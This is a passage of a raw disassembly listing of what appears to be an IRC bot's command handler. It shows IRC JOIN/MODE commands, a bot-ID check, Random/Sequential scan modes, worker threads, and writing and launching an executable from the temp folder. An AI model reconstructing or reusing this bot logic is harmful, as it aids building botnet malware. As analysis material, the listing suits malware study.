loc_411E26 ; --------------------------------------------------------------------------- loc_411E20: ; CODE XREF: sub_40EC43+3187j mov [ebp+var_45C], ebx loc_411E26: ; CODE XREF: sub_40EC43+310Aj ; sub_40EC43+31DBj mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_48C], eax mov eax, [ebp+var_4] mov [ebp+var_464], eax mov eax, [ebp+var_8] mov [ebp+var_460], eax mov edi, 80h lea eax, [ebp+var_58C] push edi push eax call sub_41752A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_411E77 loc_411E64: ; CODE XREF: sub_40EC43+3257j push esi loc_411E65: ; CODE XREF: sub_40EC43+3241j lea eax, [ebp+var_50C] push edi push eax call sub_41752A add esp, 0Ch jmp short loc_411EA2 ; --------------------------------------------------------------------------- loc_411E77: ; CODE XREF: sub_40EC43+321Fj mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_411E86 cmp byte ptr [eax], 23h jnz short loc_411E86 push eax jmp short loc_411E65 ; --------------------------------------------------------------------------- loc_411E86: ; CODE XREF: sub_40EC43+3239j ; sub_40EC43+323Ej mov esi, offset a2 ; "#2" push offset byte_43BCE8 push esi call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_411E64 mov [ebp+var_50C], bl loc_411EA2: ; CODE XREF: sub_40EC43+3232j cmp [ebp+var_45C], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_411EB4 mov eax, offset aSequential ; "Sequential" loc_411EB4: ; CODE XREF: sub_40EC43+326Aj push [ebp+var_470] lea ecx, [ebp+var_59C] push [ebp+var_480] push [ebp+var_484] push [ebp+var_488] push ecx push eax lea eax, [ebp+var_2EC] push offset unk_436420 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 8 push eax call sub_416A7A add esp, 2Ch mov [ebp+var_47C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_59C] push ebx push eax push offset sub_4077CC push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_47C] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_411F45 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_4363D8 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_411F3D: ; CODE XREF: sub_40EC43+3308j push 32h call dword_423064 ; Sleep loc_411F45: ; CODE XREF: sub_40EC43+32E7j cmp [ebp+var_458], ebx jz short loc_411F3D jmp loc_41198E ; --------------------------------------------------------------------------- loc_411F52: ; CODE XREF: sub_40EC43+26F0j ; sub_40EC43+2707j push edi call sub_41751F imul eax, 234h pop ecx cmp byte_444580[eax], bl jz loc_414CDE cmp [ebp+var_C], ebx jz loc_414CDE push [ebp+arg_18] call sub_4177B0 push edi mov esi, eax call sub_4177B0 push [ebp+arg_8] add esi, eax call sub_4177B0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417580 mov esi, eax lea eax, [ebp+var_2EC] push esi push offset dword_4363CC push eax call sub_416FB6 add esp, 20h cmp esi, ebx jz loc_414CDE push edi call sub_41751F test eax, eax pop ecx jle loc_414CDE push edi call sub_41751F cmp eax, 1F4h pop ecx jge loc_414CDE push ebx lea eax, [ebp+var_2EC] push ebx push eax push [ebp+arg_18] push edi call sub_41751F imul eax, 234h pop ecx push dword_444574[eax] call sub_40D476 push edi call sub_41751F imul eax, 234h add esp, 18h cmp byte ptr dword_444368[eax], 73h jnz loc_414CDE push esi push edi call sub_41751F imul eax, 234h pop ecx add eax, offset byte_444580 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_41203A: ; CODE XREF: sub_40EC43+34F1j lea eax, [ebp+var_2EC] push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 jmp loc_414447 ; --------------------------------------------------------------------------- loc_412064: ; CODE XREF: sub_40EC43+26C2j ; sub_40EC43+26D9j push edi call sub_41751F imul eax, 234h pop ecx cmp byte_444580[eax], bl jz loc_414CDE cmp [ebp+var_C], ebx jz loc_414CDE push [ebp+arg_18] call sub_4177B0 push edi mov esi, eax call sub_4177B0 push [ebp+arg_8] add esi, eax call sub_4177B0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417580 mov esi, eax add esp, 14h cmp esi, ebx jz loc_414CDE push edi call sub_41751F test eax, eax pop ecx jle loc_414CDE push edi call sub_41751F cmp eax, 1F4h pop ecx jge loc_414CDE push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41751F imul eax, 234h pop ecx push dword_444574[eax] call sub_40D476 push edi call sub_41751F imul eax, 234h add esp, 18h cmp byte ptr dword_444368[eax], 73h jnz loc_414CDE push esi push edi call sub_41751F imul eax, 234h pop ecx add eax, offset byte_444580 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_41203A ; --------------------------------------------------------------------------- loc_412139: ; CODE XREF: sub_40EC43+2694j ; sub_40EC43+26ABj push edi call dword_43EB64 ; inet_addr push [ebp+arg_18] mov [ebp+var_39C], eax call sub_41751F push [ebp+arg_0] mov [ebp+var_3A8], eax call sub_41751F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_3A4], eax lea eax, [ebp+var_428] mov [ebp+var_42C], esi push eax call sub_418910 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_394], edi push [ebp+var_3A4] mov [ebp+var_390], eax push [ebp+var_3A8] push [ebp+var_39C] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_2EC] push offset unk_436360 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 8 push eax call sub_416A7A add esp, 20h mov [ebp+var_3A0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_42C] push ebx push eax push offset sub_415B71 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_3A0] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_41221E call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_436310 jmp loc_414236 ; --------------------------------------------------------------------------- loc_412216: ; CODE XREF: sub_40EC43+35E1j push 32h call dword_423064 ; Sleep loc_41221E: ; CODE XREF: sub_40EC43+35C0j cmp [ebp+var_38C], ebx jz short loc_412216 jmp loc_414245 ; --------------------------------------------------------------------------- loc_41222B: ; CODE XREF: sub_40EC43+2666j ; sub_40EC43+267Dj push edi call sub_41751F push 7Fh mov [ebp+var_111C], eax push [ebp+arg_18] lea eax, [ebp+var_1220] push eax call sub_418910 push [ebp+arg_0] call sub_41751F push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_1120], eax lea eax, [ebp+var_11A0] push 80h push eax mov [ebp+var_1228], esi call sub_41752A mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_110C], eax push [ebp+var_1120] lea eax, [ebp+var_1220] mov [ebp+var_1110], edi push eax push [ebp+var_111C] push esi call sub_40AD08 pop ecx push eax lea eax, [ebp+var_2EC] push offset unk_4362C0 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 10h push eax call sub_416A7A add esp, 24h mov [ebp+var_1118], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1228] push ebx push eax push offset sub_407A23 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_1118] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_412317 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_436268 jmp loc_414236 ; --------------------------------------------------------------------------- loc_41230F: ; CODE XREF: sub_40EC43+36DAj push 32h call dword_423064 ; Sleep loc_412317: ; CODE XREF: sub_40EC43+36B9j cmp [ebp+var_1108], ebx jz short loc_41230F jmp loc_414245 ; --------------------------------------------------------------------------- loc_412324: ; CODE XREF: sub_40EC43+2638j ; sub_40EC43+264Fj push 0FFh lea eax, [ebp+var_F74] push edi push eax call sub_418910 push 0FFh lea eax, [ebp+var_E74] push [ebp+arg_18] push eax call sub_418910 push [ebp+arg_0] mov [ebp+var_D70], ebx call sub_41751F mov [ebp+var_D6C], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_412380 push 10h push ebx push eax call sub_41873B add esp, 0Ch mov [ebp+var_D64], eax jmp short loc_412386 ; --------------------------------------------------------------------------- loc_412380: ; CODE XREF: sub_40EC43+3727j mov [ebp+var_D64], ebx loc_412386: ; CODE XREF: sub_40EC43+373Bj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_41239D push esi call sub_41751F pop ecx mov [ebp+var_D68], eax jmp short loc_4123A3 ; --------------------------------------------------------------------------- loc_41239D: ; CODE XREF: sub_40EC43+3749j mov [ebp+var_D68], ebx loc_4123A3: ; CODE XREF: sub_40EC43+3758j movzx eax, [ebp+var_95B] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_D60], eax lea eax, [ebp+var_FF4] mov [ebp+var_FF8], esi push eax call sub_418910 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_D58], eax mov eax, [ebp+var_8] mov [ebp+var_D5C], eax push edi lea eax, [ebp+var_2EC] push offset unk_436228 push eax call sub_416FB6 push esi lea eax, [ebp+var_2EC] push 16h push eax call sub_416A7A add esp, 28h mov [ebp+var_D74], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF8] push ebx push eax push offset sub_40C90D push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_D74] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_412454 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_4361D8 jmp loc_41263D ; --------------------------------------------------------------------------- loc_41244C: ; CODE XREF: sub_40EC43+3817j push 32h call dword_423064 ; Sleep loc_412454: ; CODE XREF: sub_40EC43+37F6j cmp [ebp+var_D54], ebx jz short loc_41244C jmp loc_41264C ; --------------------------------------------------------------------------- loc_412461: ; CODE XREF: sub_40EC43+260Aj ; sub_40EC43+2621j push 7Fh lea eax, [ebp+var_1B88] pop esi push esi push edi push eax call sub_418910 push esi lea eax, [ebp+var_1B08] push [ebp+arg_18] push eax call sub_418910 push esi lea eax, [ebp+var_1A88] push [ebp+arg_0] push eax call sub_418910 push esi lea eax, [ebp+var_1A08] push [ebp+var_8C] push eax call sub_418910 mov eax, [ebp+var_8] push [ebp+arg_0] mov esi, [ebp+var_4] mov [ebp+var_1980], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_1B8C], eax lea eax, [ebp+var_2EC] push edi push offset dword_436198 push eax mov [ebp+var_1984], esi call sub_416FB6 add esp, 44h lea eax, [ebp+var_2EC] push ebx push 0Bh push eax call sub_416A7A add esp, 0Ch mov [ebp+var_1988], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B8C] push ebx push eax push offset sub_4019C8 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_1988] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_412555 call dword_42308C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2EC] push offset dword_436150 push eax call sub_416FB6 add esp, 0Ch loc_41253D: ; CODE XREF: sub_40EC43+391Aj cmp [ebp+var_8], ebx jnz loc_40F594 push ebx push esi jmp loc_41199B ; --------------------------------------------------------------------------- loc_41254D: ; CODE XREF: sub_40EC43+3918j push 32h call dword_423064 ; Sleep loc_412555: ; CODE XREF: sub_40EC43+38DDj cmp [ebp+var_197C], ebx jz short loc_41254D jmp short loc_41253D ; --------------------------------------------------------------------------- loc_41255F: ; CODE XREF: sub_40EC43+25C5j ; sub_40EC43+25DCj ... push 7Fh lea eax, [ebp+var_1E18] pop esi push esi push edi push eax call sub_418910 push esi lea eax, [ebp+var_1D98] push [ebp+arg_18] push eax call sub_418910 push esi lea eax, [ebp+var_1D18] push [ebp+arg_0] push eax call sub_418910 push esi lea eax, [ebp+var_1C98] push [ebp+var_8C] push eax call sub_418910 push 20h lea eax, [ebp+var_1C18] push [ebp+arg_8] push eax call sub_418910 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_1B98], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1B94], eax lea eax, [ebp+var_2EC] push edi push offset unk_436110 push eax mov [ebp+var_1E20], esi call sub_416FB6 add esp, 50h lea eax, [ebp+var_2EC] push ebx push 0Ah push eax call sub_416A7A add esp, 0Ch mov [ebp+var_1E1C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1E20] push ebx push eax push offset sub_401000 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_1E1C] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_412666 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_4360C8 loc_41263D: ; CODE XREF: sub_40EC43+2E66j ; sub_40EC43+2FA0j ... lea eax, [ebp+var_2EC] push eax call sub_416FB6 loc_412649: ; CODE XREF: sub_40EC43+2E96j add esp, 0Ch loc_41264C: ; CODE XREF: sub_40EC43+2E7Bj ; sub_40EC43+2FB5j ... cmp [ebp+var_8], ebx jnz loc_40F594 push ebx push [ebp+var_4] jmp loc_414250 ; --------------------------------------------------------------------------- loc_41265E: ; CODE XREF: sub_40EC43+3A29j push 32h call dword_423064 ; Sleep loc_412666: ; CODE XREF: sub_40EC43+39ECj cmp [ebp+var_1B90], ebx jz short loc_41265E jmp short loc_41264C ; --------------------------------------------------------------------------- loc_412670: ; CODE XREF: sub_40EC43+2597j ; sub_40EC43+25AEj push 7Fh lea eax, [ebp+var_1388] push edi push eax call sub_418910 push [ebp+arg_18] call sub_41751F push 3Fh mov [ebp+var_1238], eax push [ebp+arg_0] lea eax, [ebp+var_1308] push eax call sub_418910 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_4126BE push 3Fh lea eax, [ebp+var_12C8] push esi push eax call sub_418910 add esp, 0Ch loc_4126BE: ; CODE XREF: sub_40EC43+3A67j lea eax, [ebp+var_1308] mov [ebp+var_1234], 1 push eax lea eax, [ebp+var_1388] push [ebp+var_1238] push eax lea eax, [ebp+var_2EC] push offset unk_436088 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 18h push eax call sub_416A7A add esp, 20h mov [ebp+var_1230], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_138C] push ebx push eax push offset sub_40E961 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_1230] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_41274D call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_436040 jmp loc_4115AF ; --------------------------------------------------------------------------- loc_412745: ; CODE XREF: sub_40EC43+3B10j push 32h call dword_423064 ; Sleep loc_41274D: ; CODE XREF: sub_40EC43+3AEFj cmp [ebp+var_122C], ebx jz short loc_412745 jmp loc_4115BE ; --------------------------------------------------------------------------- loc_41275A: ; CODE XREF: sub_40EC43+2557j ; sub_40EC43+256Ej push [ebp+arg_18] call sub_41751F cmp eax, ebx pop ecx mov [ebp+var_6D4], eax jle loc_41284A mov esi, 80h push edi lea eax, [ebp+var_85C] push esi push eax call sub_41752A xor eax, eax cmp [ebp+var_94E], bl push [ebp+var_8C] setnz al mov [ebp+var_6D0], eax mov eax, [ebp+arg_4] mov [ebp+var_860], eax lea eax, [ebp+var_75C] push esi push eax call sub_41752A mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_6CC], eax mov eax, [ebp+var_8] mov [ebp+var_6C8], eax push edi push offset unk_436000 lea eax, [ebp+var_2EC] push 200h push eax call sub_41752A push ebx lea eax, [ebp+var_2EC] push 0Dh push eax call sub_416A7A add esp, 38h mov [ebp+var_6DC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_401444 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_6DC] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_41283D call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_435FB8 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_412835: ; CODE XREF: sub_40EC43+3C00j push 32h call dword_423064 ; Sleep loc_41283D: ; CODE XREF: sub_40EC43+3BDFj cmp [ebp+var_6C4], ebx jz short loc_412835 jmp loc_41198E ; --------------------------------------------------------------------------- loc_41284A: ; CODE XREF: sub_40EC43+3B28j push offset unk_435F70 jmp loc_411980 ; --------------------------------------------------------------------------- loc_412854: ; CODE XREF: sub_40EC43+2529j ; sub_40EC43+2540j push [ebp+arg_18] push edi call dword_42316C ; MoveFileA test eax, eax jz short loc_412881 push [ebp+arg_18] lea eax, [ebp+var_2EC] push edi push offset unk_435F38 push 200h push eax call sub_41752A jmp loc_414471 ; --------------------------------------------------------------------------- loc_412881: ; CODE XREF: sub_40EC43+3C1Dj push offset dword_435F1C call sub_40A863 push eax lea eax, [ebp+var_2EC] push 200h push eax call sub_41752A add esp, 10h jmp loc_41198E ; --------------------------------------------------------------------------- loc_4128A5: ; CODE XREF: sub_40EC43+24FBj ; sub_40EC43+2512j push edi lea eax, [ebp+var_1654] push 104h push eax call sub_41752A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4128DF push [ebp+arg_18] push [ebp+var_C] call sub_417580 pop ecx cmp eax, ebx pop ecx jz short loc_4128DF push eax lea eax, [ebp+var_1550] push eax call sub_416FB6 pop ecx pop ecx loc_4128DF: ; CODE XREF: sub_40EC43+3C7Aj ; sub_40EC43+3C8Bj push [ebp+var_8C] lea eax, [ebp+var_16D4] push 80h push eax call sub_41752A mov eax, [ebp+arg_4] mov [ebp+var_16D8], eax mov eax, [ebp+var_4] mov [ebp+var_1448], eax mov eax, [ebp+var_8] mov [ebp+var_1444], eax lea eax, [ebp+var_1550] push eax lea eax, [ebp+var_1654] push eax push offset unk_435EDC lea eax, [ebp+var_2EC] push 200h push eax call sub_41752A push ebx lea eax, [ebp+var_2EC] push 1Ch push eax call sub_416A7A add esp, 2Ch mov [ebp+var_144C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_16D8] push ebx push eax push offset sub_408C12 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_144C] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_4129A4 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_435E90 loc_412988: ; CODE XREF: sub_40EC43+A55j ; sub_40EC43+A7Bj ... lea eax, [ebp+var_2EC] push eax call sub_416FB6 add esp, 0Ch jmp loc_40F594 ; --------------------------------------------------------------------------- loc_41299C: ; CODE XREF: sub_40EC43+3D67j push 32h call dword_423064 ; Sleep loc_4129A4: ; CODE XREF: sub_40EC43+3D37j cmp [ebp+var_1440], ebx jz short loc_41299C jmp loc_40F594 ; --------------------------------------------------------------------------- loc_4129B1: ; CODE XREF: sub_40EC43+24CDj ; sub_40EC43+24E4j push 44h lea eax, [ebp+var_330] pop esi push esi push ebx push eax call sub_417030 mov [ebp+var_330], esi xor esi, esi inc esi push edi mov [ebp+var_304], esi mov word ptr [ebp+var_300], bx call sub_41751F add esp, 10h cmp eax, esi jnz short loc_4129EE mov word ptr [ebp+var_300], 5 loc_4129EE: ; CODE XREF: sub_40EC43+3DA0j cmp [ebp+var_C], ebx jz loc_4115BE push [ebp+arg_18] push [ebp+var_C] call sub_417580 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_4115BE lea eax, [ebp+var_CC4] push eax lea eax, [ebp+var_330] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call dword_423120 ; CreateProcessA test eax, eax lea eax, [ebp+var_2EC] jnz short loc_412A3F push offset unk_435E5C jmp loc_410E2E ; --------------------------------------------------------------------------- loc_412A3F: ; CODE XREF: sub_40EC43+3DF0j push edi push offset dword_435E34 jmp loc_4115B5 ; --------------------------------------------------------------------------- loc_412A4A: ; CODE XREF: sub_40EC43+249Fj ; sub_40EC43+24B6j push [ebp+arg_18] push offset aBotid ; "botid" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_412BBD lea eax, [ebp+var_AC4] push eax push 104h call dword_42312C ; GetTempPathA push 0FFh lea eax, [ebp+var_F74] push edi push eax call sub_418910 lea eax, [ebp+var_CD0] push eax call sub_415762 push eax lea eax, [ebp+var_AC4] push eax lea eax, [ebp+var_E74] push offset aSS_exe ; "%s%s.exe" push eax call sub_416FB6 mov eax, [ebp+esi+var_88] add esp, 20h cmp eax, ebx mov [ebp+var_D70], 1 mov [ebp+var_D6C], ebx jz short loc_412ADC push 10h push ebx push eax call sub_41873B add esp, 0Ch mov [ebp+var_D64], eax jmp short loc_412AE2 ; --------------------------------------------------------------------------- loc_412ADC: ; CODE XREF: sub_40EC43+3E83j mov [ebp+var_D64], ebx loc_412AE2: ; CODE XREF: sub_40EC43+3E97j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_412AFC push esi call sub_41751F pop ecx mov [ebp+var_D68], eax jmp short loc_412B02 ; --------------------------------------------------------------------------- loc_412AFC: ; CODE XREF: sub_40EC43+3EA8j mov [ebp+var_D68], ebx loc_412B02: ; CODE XREF: sub_40EC43+3EB7j movzx eax, [ebp+var_95B] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_D60], eax lea eax, [ebp+var_FF4] mov [ebp+var_FF8], esi push eax call sub_418910 mov eax, [ebp+var_4] push edi mov [ebp+var_D58], eax mov eax, [ebp+var_8] mov [ebp+var_D5C], eax lea eax, [ebp+var_2EC] push offset unk_435DEC push eax call sub_416FB6 push esi lea eax, [ebp+var_2EC] push 17h push eax call sub_416A7A add esp, 24h mov [ebp+var_D74], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF8] push ebx push eax push offset sub_40C90D push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_D74] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_412BB0 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_435DA0 jmp loc_4115AF ; --------------------------------------------------------------------------- loc_412BA8: ; CODE XREF: sub_40EC43+3F73j push 32h call dword_423064 ; Sleep loc_412BB0: ; CODE XREF: sub_40EC43+3F52j cmp [ebp+var_D54], ebx jz short loc_412BA8 jmp loc_4115BE ; --------------------------------------------------------------------------- loc_412BBD: ; CODE XREF: sub_40EC43+3E18j push offset unk_435D48 jmp loc_410E28 ; --------------------------------------------------------------------------- loc_412BC7: ; CODE XREF: sub_40EC43+2471j ; sub_40EC43+2488j push [ebp+var_90] push offset dword_437B40 call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_40F098 cmp [ebp+var_C], ebx jz loc_40F098 push [ebp+arg_18] push [ebp+var_C] call sub_417580 push eax lea eax, [ebp+var_2EC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_435D38 push eax call sub_416FB6 lea eax, [ebp+var_2EC] push 1FFh push eax push [ebp+arg_0] call sub_418910 push edi call sub_41751F add esp, 30h test eax, eax jle short loc_412C4E push edi call sub_41751F imul eax, 3E8h pop ecx push eax call dword_423064 ; Sleep loc_412C4E: ; CODE XREF: sub_40EC43+3FF5j push offset dword_435D14 call sub_40BD8D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40F09B ; --------------------------------------------------------------------------- loc_412C62: ; CODE XREF: sub_40EC43+2443j ; sub_40EC43+245Aj push [ebp+var_90] push offset dword_437B40 call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_40F098 cmp [ebp+var_C], ebx jz loc_414CDE push [ebp+arg_18] push [ebp+var_C] call sub_417580 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4173D0 add esp, 10h test eax, eax push esi lea eax, [ebp+var_2EC] jz short loc_412D1E push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_435D38 push eax call sub_416FB6 lea eax, [ebp+var_2EC] push 1FFh push eax push [ebp+arg_0] call sub_418910 push esi lea eax, [ebp+var_2EC] push offset dword_435CE4 push eax call sub_416FB6 lea eax, [ebp+var_2EC] push eax call sub_40BD8D push edi call sub_41751F add esp, 38h test eax, eax jle loc_414CDE push edi call sub_41751F add eax, [ebp+arg_24] pop ecx jmp loc_40F09B ; --------------------------------------------------------------------------- loc_412D1E: ; CODE XREF: sub_40EC43+406Aj push offset dword_435CA0 jmp loc_4133BB ; --------------------------------------------------------------------------- loc_412D28: ; CODE XREF: sub_40EC43+2415j ; sub_40EC43+242Cj push [ebp+arg_18] lea eax, [ebp+var_2EC] push offset dword_435C98 push eax call sub_416FB6 push edi call sub_41751F add esp, 10h loc_412D45: ; CODE XREF: sub_40EC43+4169j test eax, eax jle loc_414CDE push edi call sub_41751F cmp eax, 1F4h pop ecx jge loc_414CDE loc_412D5F: ; CODE XREF: sub_40EC43+4C9Bj lea eax, [ebp+var_2EC] push eax push offset dword_4275E0 push edi call sub_41751F imul eax, 234h pop ecx push dword_444574[eax] call sub_40D430 jmp loc_414958 ; --------------------------------------------------------------------------- loc_412D88: ; CODE XREF: sub_40EC43+23E7j ; sub_40EC43+23FEj push [ebp+esi+var_88] lea eax, [ebp+var_2EC] push [ebp+arg_18] push offset dword_435C8C push eax call sub_416FB6 push edi call sub_41751F add esp, 14h jmp short loc_412D45 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_40EC43+23B9j ; sub_40EC43+23D0j push [ebp+arg_18] lea eax, [ebp+var_2EC] push offset dword_435C84 push eax call sub_416FB6 push edi call sub_41751F add esp, 10h test eax, eax jle loc_414CDE push edi call sub_41751F cmp eax, 1F4h pop ecx jge loc_414CDE lea eax, [ebp+var_2EC] push eax push offset dword_4275E0 push edi call sub_41751F imul eax, 234h pop ecx push dword_444574[eax] call sub_40D430 push [ebp+arg_18] push edi push offset dword_435C58 loc_412E12: ; CODE XREF: sub_40EC43+4256j ; sub_40EC43+42C1j ... call sub_40BE01 jmp loc_414632 ; --------------------------------------------------------------------------- loc_412E1C: ; CODE XREF: sub_40EC43+238Bj ; sub_40EC43+23A2j cmp [ebp+var_C], ebx jz loc_414CDE push [ebp+arg_18] push [ebp+var_C] call sub_417580 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_412E4D push esi lea eax, [ebp+var_2EC] push offset dword_435C50 push eax call sub_416FB6 add esp, 0Ch loc_412E4D: ; CODE XREF: sub_40EC43+41F3j push edi call sub_41751F test eax, eax pop ecx jle loc_414CDE push edi call sub_41751F cmp eax, 1F4h pop ecx jge loc_414CDE lea eax, [ebp+var_2EC] push eax push offset dword_4275E0 push edi call sub_41751F imul eax, 234h pop ecx push dword_444574[eax] call sub_40D430 push esi push edi push offset dword_435C24 jmp loc_412E12 ; --------------------------------------------------------------------------- loc_412E9E: ; CODE XREF: sub_40EC43+235Dj ; sub_40EC43+2374j cmp [ebp+var_C], ebx jz loc_414CDE push [ebp+arg_18] push [ebp+var_C] call sub_417580 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414CDE push edi call sub_41751F test eax, eax pop ecx jle loc_414CDE push edi call sub_41751F cmp eax, 1F4h pop ecx jge loc_414CDE push esi push offset dword_4275E0 push edi call sub_41751F imul eax, 234h pop ecx push dword_444574[eax] call sub_40D430 push esi push edi push offset dword_435BF8 jmp loc_412E12 ; --------------------------------------------------------------------------- loc_412F09: ; CODE XREF: sub_40EC43+232Fj ; sub_40EC43+2346j cmp [ebp+var_C], ebx jz loc_414CDE push edi push [ebp+var_C] call sub_417580 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414CDE push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40D430 push esi push offset dword_435BC0 jmp loc_413ABA ; --------------------------------------------------------------------------- loc_412F40: ; CODE XREF: sub_40EC43+2301j ; sub_40EC43+2318j push [ebp+var_90] push offset dword_437B40 loc_412F4B: ; DATA XREF: .data:off_42D03Co call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_40F098 push [ebp+arg_18] push offset dword_435BB4 push [ebp+arg_4] call sub_40D430 push edi call sub_41751F imul eax, 3E8h add esp, 10h push eax call dword_423064 ; Sleep push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D430 push offset dword_435B90 call sub_40BD8D jmp loc_413ABF ; --------------------------------------------------------------------------- loc_412FA6: ; CODE XREF: sub_40EC43+22D3j ; sub_40EC43+22EAj cmp [ebp+var_C], ebx jz loc_414CDE push edi call sub_4177B0 push [ebp+arg_8] mov esi, eax call sub_4177B0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417580 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414CDE push esi lea eax, [ebp+var_2EC] push offset dword_4363CC push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push ebx push eax push edi push [ebp+arg_4] call sub_40D476 push esi push edi push offset dword_435B64 call sub_40BE01 add esp, 2Ch jmp loc_414CDE ; --------------------------------------------------------------------------- loc_413014: ; CODE XREF: sub_40EC43+22A5j ; sub_40EC43+22BCj cmp [ebp+var_C], ebx jz loc_414CDE push edi call sub_4177B0 push [ebp+arg_8] mov esi, eax call sub_4177B0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417580 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414CDE push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40D476 push esi push edi push offset dword_435B38 call sub_40BE01 loc_413062: ; CODE XREF: sub_40EC43+3005j add 